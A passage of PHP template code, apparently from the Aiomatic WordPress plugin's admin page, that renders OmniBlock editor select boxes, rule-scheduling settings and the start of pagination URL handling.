{ echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_type') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="scraper_selector ' . esc_attr($name) . ' cr_width_full" data-id-str="" data-source-field-id="ur' . $urlrandval . '" data-target-field-id="' . $assistant_helper . '">'; foreach($all_scraper_types as $index => $modelx) { echo '<option value="' . esc_attr($index) .'"'; if($index == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_string') { echo '<input type="text" class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="st' . $assistant_helper . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'number') { echo '<input type="number" class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'checkbox') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="0"'; if('0' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("No", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if('1' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Yes", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'dalle_image_model_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_models as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_model_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_models as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'status_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="publish"'; if("publish" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pending"'; if("pending" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if("draft" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if("private" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if("trash" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'type_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(get_post_types( '', 'names' ) as $modelx) { if(strstr($modelx, 'aiomatic_')) { continue; } echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_country_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_codes() as $key => $modelx) { echo '<option value="' . $key .'"'; if($key == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_sorts() as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'yt_community_selector') { $community_types = array('text' => 'Text', 'image' => 'Image'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'reddit_selector') { $community_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'method_selector') { $community_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'content_type_selector') { $community_types = array('JSON' => 'JSON', 'form' => 'Form Data'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'facebook_page_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } echo '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($exploding[2]) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'location_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . ucfirst(esc_html($name)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $values = $card_type['values']; foreach($values as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_type_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('txt' => 'txt', 'html' => 'html', 'doc' => 'doc', 'pdf' => 'pdf'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } if ($id == 'pdf' && !is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { echo " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; if(empty($_GLOBALS['omni_files'])) { echo '<option selected disabled>' . esc_html__('No files added, add new files in the \'OmniBlock Files\' tab', 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="random"'; if('random' == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html__('Random', 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="latest"'; if('latest' == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html__('Latest', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($_GLOBALS['omni_files'] as $id => $name) { echo '<option value="' . esc_html($name->ID) . '"'; if($name->ID == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name->post_title) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'pinterest_board_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'gpb_page_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('businessomatic_my_business_list', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $card_type['default_value']) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Businessomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'linkedin_page_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { echo '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } else { echo '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Linkedinomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'language_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($card_type['default_value'] == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($card_type['default_value'] == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($card_type['default_value'] == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } echo '</select>'; } elseif($card_type['type'] == 'format_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_formats as $modelx => $namex) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($namex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'url') { $randval = uniqid(); echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="url" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' ur' . esc_attr($urlrandval) . ' cr_width_full" id="xai' . $randval . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; echo '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p></div>'; echo '</div>'; } elseif($card_type['type'] == 'scraper_select') { echo '<select data-clone-index="xc' . uniqid() . '" autocomplete="off" id="sc' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="0"'; if('0' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if('1' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="2"'; if('2' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="3"'; if('3' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="4"'; if('4' == $card_type['default_value']) { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="5"'; if('5' == $card_type['default_value']) { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="6"'; if('6' == $card_type['default_value']) { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>'; echo esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '</select>'; } } $critical = false; if(isset($card_id['parameters']['critical']) && $card_id['parameters']['critical'] == '1') { $critical = true; } echo '<h4>' . esc_html__("Critical", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="critical-blocks" data-clone-index="xc' . uniqid() . '" id="critical-' . esc_attr($ublockid) . '"'; if($critical == true) { echo ' checked'; } echo '>'; echo '</h4>'; $disabled = false; if(isset($card_id['parameters']['disabled']) && $card_id['parameters']['disabled'] == '1') { $disabled = true; } echo '<h4>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="disabled-blocks" data-clone-index="xc' . uniqid() . '" id="disabled-' . esc_attr($ublockid) . '"'; if($disabled == true) { echo ' checked'; } echo '>'; echo '</h4>'; echo '</div> <button disabled class="move-up-btn" title="Move Up"> <!-- SVG for move up --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-up" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 0 1 .708 0L12 8.292a.5.5 0 0 1-.708.708L8 5.707V12.5a.5.5 0 0 1-1 0V5.707L4.707 9a.5.5 0 1 1-.708-.708l3.647-3.646z"/> </svg> </button> <button disabled class="move-down-btn" title="Move Down"> <!-- SVG for move down --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-down" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 11.354a.5.5 0 0 1-.708 0L3.293 7.707a.5.5 0 1 1 .708-.708L7 10.293V3.5a.5.5 0 0 1 1 0v6.793l2.999-3.294a.5.5 0 0 1 .708.708l-4 4.147z"/> </svg> </button> <button disabled class="delete-btn" title="' . esc_html__('Delete', 'aiomatic-automatic-ai-content-writer') . '">X</button><div class="ai_common_holder"><div class="step-number"></div><div class="aiomatic-run-now"></div><div class="id-shower"></div></div></li></li>'; } } } ?> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select what type of block you want to add.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("OmniBlock Type To Add (Drag And Drop):", 'aiomatic-automatic-ai-content-writer');?></b> <div class="ai-right-flex"><button id="add-new-btn" class="button page-title-action" title="<?php echo esc_html__('Add the above OmniBlock to the Queue', 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_html__('Add OmniBlock', 'aiomatic-automatic-ai-content-writer');?></button></div> </td> <td> <select title="<?php echo esc_html__('Change the OmniBlock Type which is displayed, which will be able to be added to the OmniBlock Queue.', 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full" id="omni_select_block_type" onchange="aiBlockTypeChangeHandler('');"> <option value="" disabled selected><?php echo esc_html__("Select a block type to add", 'aiomatic-automatic-ai-content-writer');?></option> <?php $last_btype = ''; foreach ($default_block_types as $card_id) { if($card_id['category'] !== $last_btype) { echo '<option disabled value="">' . esc_html($card_id['category']) . '</option>'; $last_btype = $card_id['category']; } echo '<option value="' . sanitize_title($card_id['name']) . '">' . esc_html($card_id['name']) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Additional Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h2> </td></tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Add additional shortcodes which will be available in the OmniBlocks. Add multiple shortcodes on a new line. In the above OmniBlocks, you can use the shortcodes in this format: %%shortcode_name%%. The format is: shortcode_name => shortcode_value1, shortcode_value2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Shortcodes:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" title="<?php echo esc_html__('Set up additional shortcodes which will be available in OmniBlocks.', 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_omni_list[more_keywords][]" onchange="updateSortableInputAI('');" id="more_keywords" placeholder="shortcode_name => shortcode_value1, shortcode_value2" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("AI OmniBlock Templates Manager", 'aiomatic-automatic-ai-content-writer');?>:</h2> </td></tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select a OmniBlock template to be used in this rule. You can import the default templates which come bundled with the plugin, from the above 'OmniBlock Template Manager' tab -> 'Backup/Restore OmniBlock Templates' button -> 'Import Default OmniBlock Templates' button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Load An OmniBlock Template:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select title="<?php echo esc_html__('Select an OmniBlock Template to be loaded into the OmniBlock Queue. Note that this will overwrite your current OmniBlock setup.', 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full omni_select_template" id="omni_select_template" data-id=""> <?php if(!empty($temp_list)) { ?> <option value="" disabled selected><?php echo esc_html__("Select a template", 'aiomatic-automatic-ai-content-writer');?></option> <?php foreach($temp_list as $templid => $templ) { echo '<option value="' . esc_attr($templid) . '">' . esc_html($templ) . '</option>'; } } else { echo '<option value="" disabled selected>' . esc_html__("No templates found. Add some in the 'OmniBlock Template Manager' tab", 'aiomatic-automatic-ai-content-writer') . '</option>'; } ?> </select> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select a OmniBlock template category to list.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Filter OmniBlock Templates By Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select title="<?php echo esc_html__('Filter displayed OmniBlock Templates by Category.', 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full omni_select_template_cat" data-id=""> <?php if(!empty($aiomatic_tax_names)) { ?> <option value="" selected><?php echo esc_html__("Show all templates", 'aiomatic-automatic-ai-content-writer');?></option> <?php foreach($aiomatic_tax_names as $templ) { echo '<option value="' . esc_attr($templ) . '">' . esc_html($templ) . '</option>'; } } else { echo '<option value="" disabled selected>' . esc_html__("No template categories found. Add some in the 'OmniBlock Template Manager' tab", 'aiomatic-automatic-ai-content-writer') . '</option>'; } ?> </select> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Save the above OmniBlock queue as a new OmniBlock template. Afterwards, the template will be manageable in the 'OmniBlock Template Manager' tab from above.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Save Above OmniBlocks As A New Template:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="button" class="aisavetemplate button page-title-action" title="<?php echo esc_html__('Saves the OmniBlock Queue configured above, as a new Template', 'aiomatic-automatic-ai-content-writer');?>" data-id="" value="<?php echo esc_html__("Save New Template", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> </tbody> </table> </div> </div> <div class="codemodalauto-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_auto_ok" class="codeokauto cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="aiomatic-automation responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h2><?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?>:</h2> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select if you want to process each keyword from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Keyword Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_omni_list[title_once][]" checked> </td> </tr> <tr><td colspan="2"><h3><?php echo esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer');?>:</h3></td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_omni_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_omni_list[active][]" value="1" checked /> <input type="hidden" name="aiomatic_omni_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_omni_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="erase" onclick=""><?php echo esc_html__("Erase Processed Keyword History", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { 